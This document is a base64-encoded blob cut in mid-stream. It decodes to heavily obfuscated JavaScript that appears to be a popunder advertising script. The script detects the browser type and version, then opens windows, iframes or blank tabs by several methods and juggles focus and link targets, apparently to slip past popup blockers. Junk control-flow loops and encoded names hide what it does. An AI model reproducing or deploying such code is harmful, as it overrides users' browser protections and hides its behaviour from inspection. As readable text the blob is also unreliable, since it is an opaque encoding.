HRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU